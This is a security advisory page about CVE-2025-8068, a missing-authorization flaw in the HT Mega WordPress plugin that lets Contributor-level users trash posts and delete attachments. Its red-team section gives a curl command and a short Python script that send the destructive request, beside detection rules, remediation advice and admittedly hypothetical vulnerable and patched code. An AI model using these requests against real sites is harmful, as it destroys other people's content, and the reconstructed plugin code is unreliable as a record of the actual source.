CVE-2025-8068
Executive Summary
CVE-2025-8068 is a vulnerability in the HT Mega – Absolute Addons For Elementor WordPress plugin (versions up to and including 2.9.1). The flaw resides in the ajax_trash_templates function, which performs an improper capability check. This allows authenticated attackers with Contributor-level access or higher to delete arbitrary attachment files and move arbitrary posts, pages, and templates to the Trash. The vulnerability is classified as a Missing Authorization issue (CWE-862) with a CVSS score of 4.3 (Medium). While the EPSS score is currently 0.0%, the potential for data loss and disruption makes this a significant concern for WordPress site administrators.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As such, it is part of the WordPress ecosystem supply chain. Users who have installed the plugin from the WordPress dashboard or via direct download are affected. The lack of a patch at the time of analysis means that all sites running version 2.9.1 or earlier are at risk. Administrators should monitor the plugin’s update channel and consider disabling the plugin until a patch is released.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires Contributor-level or above
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: Low (I:L) – unauthorized deletion and trashing of content
- Availability Impact: Low (A:L) – loss of data and disruption of content
The threat level is Medium due to the low privileges required and the potential for significant data loss, even though the attack does not directly lead to code execution or data exfiltration.
Deep Dive & Mechanics
The vulnerability is located in the ajax_trash_templates function within the HT Mega plugin. This function is intended to allow authorized users to trash (move to trash) templates. However, the capability check is improperly implemented, failing to verify that the user has the necessary permissions to delete arbitrary attachments or trash posts/pages/templates.
Root Cause: The function uses current_user_can() with an incorrect capability or no capability at all, allowing any user with edit_posts (Contributor-level) to invoke the AJAX action. The function then processes the post_id parameter without verifying that the user owns the post or has the appropriate role (e.g., Editor or Administrator) to delete attachments or trash arbitrary content.
Attack Flow:
- An authenticated user with Contributor-level access or higher sends a crafted AJAX request to the WordPress admin-ajax.php endpoint.
- The request includes the action
ajax_trash_templatesand apost_idparameter. - The vulnerable function executes, deleting the attachment or trashing the post/page/template associated with the provided
post_id. - The attacker can repeat this process to delete multiple attachments or trash multiple pieces of content.
Impact: An attacker can cause significant data loss by deleting media files (attachments) and moving important posts, pages, or templates to the Trash. While trashed items can be restored by an administrator, the deletion of attachments is permanent unless a backup exists.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on the vulnerability description.
Vulnerable Code (version <= 2.9.1):
add_action('wp_ajax_ajax_trash_templates', 'ajax_trash_templates');
function ajax_trash_templates() {
// Missing or improper capability check
// current_user_can('edit_posts') is too permissive
if (!current_user_can('edit_posts')) {
wp_die('Unauthorized');
}
$post_id = intval($_POST['post_id']);
// Directly trashes or deletes without further checks
wp_trash_post($post_id);
// Or for attachments:
wp_delete_attachment($post_id, true);
wp_die('Success');
}
Patched Code (hypothetical):
add_action('wp_ajax_ajax_trash_templates', 'ajax_trash_templates');
function ajax_trash_templates() {
// Proper capability check: only users who can delete others' posts
if (!current_user_can('delete_others_posts')) {
wp_die('Unauthorized');
}
$post_id = intval($_POST['post_id']);
// Additional nonce check
if (!wp_verify_nonce($_POST['_wpnonce'], 'trash_template_' . $post_id)) {
wp_die('Nonce verification failed');
}
// Verify the post type is a template
$post_type = get_post_type($post_id);
if ($post_type !== 'elementor_template') {
wp_die('Invalid post type');
}
wp_trash_post($post_id);
wp_die('Success');
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with HT Mega plugin version <= 2.9.1.
- An authenticated user account with Contributor-level or higher privileges.
Exploitation Steps:
- Log in to WordPress as a Contributor (or higher).
- Obtain a valid nonce for the AJAX action (if required, but the vulnerability may not enforce nonces).
- Send a POST request to
/wp-admin/admin-ajax.phpwith the following parameters:action:ajax_trash_templatespost_id: ID of the target post, page, template, or attachment.
- The server will process the request and delete/trash the content.
Example cURL command:
curl -X POST 'http://target-site.com/wp-admin/admin-ajax.php' \
-d 'action=ajax_trash_templates&post_id=123' \
--cookie 'wordpress_logged_in_xxx=...'
Automation Script (Python):
import requests
target_url = "http://target-site.com/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in_xxx": "your_cookie_value"}
data = {"action": "ajax_trash_templates", "post_id": "123"}
response = requests.post(target_url, data=data, cookies=cookies)
print(response.text)
Blue Team (Detection & Prevention)
Detection:
- Monitor AJAX requests to
admin-ajax.phpwith the actionajax_trash_templatesfrom low-privileged users. - Look for rapid deletion or trashing of multiple posts/pages/attachments.
- Use the Sigma rule provided in the Detection Engineering section.
Prevention:
- Disable the HT Mega plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block requests with
action=ajax_trash_templatesfrom non-admin users. - Restrict Contributor-level users from accessing the AJAX endpoint via custom code or a security plugin.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwith body containingaction=ajax_trash_templates. - Repeated requests with varying
post_idvalues from the same user session.
- POST requests to
System IOCs:
- Unexpected deletion of attachment files from the WordPress media library.
- Posts, pages, or templates moved to Trash without corresponding user action.
- WordPress audit logs (if enabled) showing
wp_trash_postorwp_delete_attachmentcalls from low-privileged users.
File IOCs:
- The presence of the vulnerable plugin file:
/wp-content/plugins/ht-mega-for-elementor/...(exact path depends on version).
- The presence of the vulnerable plugin file:
Detection Engineering
YARA Rule
rule Detect_CVE_2025_8068_HT_Mega_Plugin
{
meta:
description = "Detects vulnerable HT Mega plugin files with improper capability check"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-8068"
strings:
$vuln_func = "ajax_trash_templates"
$weak_check = "current_user_can('edit_posts')"
$action_hook = "wp_ajax_ajax_trash_templates"
condition:
$vuln_func and $action_hook and $weak_check
}
Sigma Rule
title: CVE-2025-8068 HT Mega Plugin AJAX Trash Abuse
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects exploitation attempts of CVE-2025-8068 via AJAX requests to trash posts or delete attachments.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
cs-method: POST
cs-uri-query|contains: admin-ajax.php
cs-post-body|contains: action=ajax_trash_templates
condition: selection
falsepositives:
- Legitimate use by administrators (rare, but possible)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-8068 HT Mega Plugin AJAX Trash Exploitation"; flow:to_server; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=ajax_trash_templates"; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the HT Mega plugin until a patched version is released.
- Review user roles and downgrade any Contributor-level accounts that are not trusted.
- Restore any trashed content from the WordPress Trash (if not permanently deleted).
- Check for deleted attachments and restore from backups if necessary.
Long-term Fix:
- Apply the official patch once released by the vendor.
- Implement a security plugin (e.g., Wordfence, Sucuri) to monitor and block unauthorized AJAX actions.
- Enforce the principle of least privilege by limiting the number of users with Contributor-level access or higher.
Workaround (Code):
Add the following code to your theme's functions.php file to block the vulnerable AJAX action for non-admin users:
add_action('wp_ajax_ajax_trash_templates', 'block_vulnerable_ajax', 1);
function block_vulnerable_ajax() {
if (!current_user_can('administrator')) {
wp_die('Access denied');
}
}
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.